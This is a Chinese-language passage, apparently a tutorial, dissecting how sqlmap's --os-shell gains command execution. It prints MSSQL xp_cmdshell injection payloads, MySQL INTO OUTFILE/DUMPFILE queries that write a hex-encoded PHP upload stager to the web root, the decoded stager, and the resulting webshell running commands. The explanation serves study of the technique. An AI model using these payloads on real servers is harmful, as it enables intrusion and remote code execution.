[16:19:59] [PAYLOAD] 1 UNION ALL SELECT NULL,NULL,CHAR(113)+CHAR(98)+CHAR(118)+CHAR(112)+CHAR(113)+ISNULL(CAST(data AS NVARCHAR(4000)),CHAR(32))+CHAR(113)+CHAR(106)+CHAR(98)+CHAR(107)+CHAR(113) FROM sqlmapoutput ORDER BY id-- -
[16:19:59] [PAYLOAD] 1;DELETE FROM sqlmapoutput--

os-shell> whoami
[16:24:38] [PAYLOAD] 1;DECLARE @xgsv VARCHAR(8000);SET @xgsv=0x77686f616d69;INSERT INTO sqlmapoutput(data) EXEC master..xp_cmdshell @xgsv--
[16:24:38] [PAYLOAD] 1 UNION ALL SELECT NULL,NULL,CHAR(113)+CHAR(98)+CHAR(118)+CHAR(112)+CHAR(113)+ISNULL(CAST(data AS NVARCHAR(4000)),CHAR(32))+CHAR(113)+CHAR(106)+CHAR(98)+CHAR(107)+CHAR(113) FROM sqlmapoutput ORDER BY id-- -
[16:24:38] [DEBUG] performed 1 queries in 0.04 seconds
[16:24:38] [PAYLOAD] 1;DELETE FROM sqlmapoutput--
command standard output: 'nt authority\system'

 

Mysql


python sqlmap.py -r r.txt --os-shell
which web application language does the web server support?
[1] ASP
[2] ASPX
[3] JSP
[4] PHP (default)

直接回车选择默认PHP

what do you want to use for writable directory?
[1] common location(s) ('/var/www/, /var/www/html, /usr/local/apache2/htdocs, /v
ar/www/nginx-default') (default)
[2] custom location(s)
[3] custom directory list file
[4] brute force search

1为默认apache的默认Web路径,可以通过报错信息获取到Web程序的绝对路径,选择2输入
please provide a comma separate list of absolute directory paths: /var/www/html/
先看一下sqlmap的打印信息

[10:25:02] [INFO] trying to upload the file stager on '/var/www/html/' via LIMIT
'LINES TERMINATED BY' method
[10:25:02] [WARNING] unable to upload the file stager on '/var/www/html/'
[10:25:02] [INFO] trying to upload the file stager on '/var/www/html/' via UNION
method
[10:25:02] [INFO] the remote file '/var/www/html/tmpuhgbs.php' is larger (706 B)
than the local file 'c:\users\dell\appdata\local\temp\sqlmappmmrsn14284\tmpdctw
k9' (705B)
[10:25:02] [INFO] the file stager has been successfully uploaded on '/var/www/ht
ml/' - http://192.168.192.120:80/tmpuhgbs.php
[10:25:02] [INFO] the backdoor has been successfully uploaded on '/var/www/html/
' - http://192.168.192.120:80/tmpbewox.php
[10:25:02] [INFO] calling OS shell. To quit type 'x' or 'q' and press ENTER

然后对应着Mysql的查询日志来看一下:

[10:25:02] [INFO] trying to upload the file stager on '/var/www/html/' via LIMIT
'LINES TERMINATED BY' method
[10:25:02] [WARNING] unable to upload the file stager on '/var/www/html/'

通过LINES TERMINATED BY的方法来写入PHP文件

SELECT first_name, last_name FROM users WHERE user_id = '' LIMIT 0,1 INTO OUTFILE '/var/www/html/tmpuscdb.php' LINES TERMINATED BY 0x3c3f7068700a69662028697373657428245f524551554553545b2275706c6f6164225d29297b246469723d245f524551554553545b2275706c6f6164446972225d3b6966202870687076657273696f6e28293c27342e312e3027297b2466696c653d24485454505f504f53545f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c652824485454505f504f53545f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d656c73657b2466696c653d245f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c6528245f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d4063686d6f6428246469722e222f222e2466696c652c30373535293b6563686f202246696c652075706c6f61646564223b7d656c7365207b6563686f20223c666f726d20616374696f6e3d222e245f5345525645525b225048505f53454c46225d2e22206d6574686f643d504f535420656e63747970653d6d756c7469706172742f666f726d2d646174613e3c696e70757420747970653d68696464656e206e616d653d4d41585f46494c455f53495a452076616c75653d313030303030303030303e3c623e73716c6d61702066696c652075706c6f616465723c2f623e3c62723e3c696e707574206e616d653d66696c6520747970653d66696c653e3c62723e746f206469726563746f72793a203c696e70757420747970653d74657874206e616d653d75706c6f61644469722076616c75653d2f7661722f7777772f68746d6c2f3e203c696e70757420747970653d7375626d6974206e616d653d75706c6f61642076616c75653d75706c6f61643e3c2f666f726d3e223b7d3f3e0a

LINES TERMINATED BY表示查询记录的每行以By后面的内容分割,这里因为查询user_id为空所以没有查询到记录,所以此文件为空。如果将id的参数修改为1,则有一条查询内容,那么这段PHP文件上传程序就可以成功写入文件。

然后通过into outfile的方式来写入文件

SELECT first_name, last_name FROM users WHERE user_id = '-1181' UNION ALL SELECT 0x3c3f7068700a69662028697373657428245f524551554553545b2275706c6f6164225d29297b246469723d245f524551554553545b2275706c6f6164446972225d3b6966202870687076657273696f6e28293c27342e312e3027297b2466696c653d24485454505f504f53545f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c652824485454505f504f53545f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d656c73657b2466696c653d245f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c6528245f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d4063686d6f6428246469722e222f222e2466696c652c30373535293b6563686f202246696c652075706c6f61646564223b7d656c7365207b6563686f20223c666f726d20616374696f6e3d222e245f5345525645525b225048505f53454c46225d2e22206d6574686f643d504f535420656e63747970653d6d756c7469706172742f666f726d2d646174613e3c696e70757420747970653d68696464656e206e616d653d4d41585f46494c455f53495a452076616c75653d313030303030303030303e3c623e73716c6d61702066696c652075706c6f616465723c2f623e3c62723e3c696e707574206e616d653d66696c6520747970653d66696c653e3c62723e746f206469726563746f72793a203c696e70757420747970653d74657874206e616d653d75706c6f61644469722076616c75653d2f7661722f7777772f68746d6c2f3e203c696e70757420747970653d7375626d6974206e616d653d75706c6f61642076616c75653d75706c6f61643e3c2f666f726d3e223b7d3f3e0a,NULL INTO DUMPFILE '/var/www/html/tmpuhgbs.php'-- -'

这段16进制的内容为:

<?php
if (isset($_REQUEST["upload"])){$dir=$_REQUEST["uploadDir"];if (phpversion()<'4.1.0'){$file=$HTTP_POST_FILES["file"]["name"];@move_uploaded_file($HTTP_POST_FILES["file"]["tmp_name"],$dir."/".$file) or die();}else{$file=$_FILES["file"]["name"];@move_uploaded_file($_FILES["file"]["tmp_name"],$dir."/".$file) or die();}@chmod($dir."/".$file,0755);echo "File uploaded";}else {echo "<form action=".$_SERVER["PHP_SELF"]." method=POST enctype=multipart/form-data><input type=hidden name=MAX_FILE_SIZE value=1000000000><b>sqlmap file uploader</b><br><input name=file type=file><br>to directory: <input type=text name=uploadDir value=/var/www/html/> <input type=submit name=upload value=upload></form>";}?>

是一段文件上传的代码
然后判断文件上传是否成功

SELECT first_name, last_name FROM users WHERE user_id = '' UNION ALL SELECT CONCAT(0x71786a6b71,IFNULL(CAST(LENGTH(LOAD_FILE(0x2f7661722f7777772f68746d6c2f746d7075686762732e706870)) AS CHAR),0x20),0x7178767871),NULL-- -'

文件上传成功,可以看到属主和属组都是mysql。
-rw-rw-rw- 1 mysql mysql 706 6月 17 10:21 tmpuhgbs.php
然后通过tmpuhgbs.php直接上传webshell,可以看到权限为apache。
-rwxr-xr-x 1 apache apache 908 6月 17 10:21 tmpbewox.php
然后就可以执行系统命令了

os-shell> whoami
do you want to retrieve the command standard output? [Y/n/a] Y
command standard output: 'apache'

PS:有时因为中途退出会导致命令执行没有回显
os-shell> whoami
do you want to retrieve the command standard output? [Y/n/a]
No output
需要清空一下C:\USERS\XXX\.SQLMAP\OUTPUT\